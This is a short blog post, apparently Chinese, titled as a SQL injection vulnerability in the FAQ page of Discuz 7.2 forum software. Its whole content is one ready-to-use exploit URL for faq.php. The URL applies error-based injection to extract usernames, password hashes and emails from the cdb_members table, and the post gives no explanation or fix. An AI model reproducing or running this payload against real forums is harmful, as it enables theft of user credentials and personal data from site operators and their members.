Discuz 7.2FAQ-SQL注入漏洞

 

/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat((select%20(select%20(select%20concat(username,0x23,password,0x23,email)%20from%20cdb_members%20limit%200,1)%20)%20from%20`information_schema`.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23

 

Last modification:January 2nd, 2018 at 12:17 am
If you think my article is useful to you, please feel free to appreciate

Leave a Comment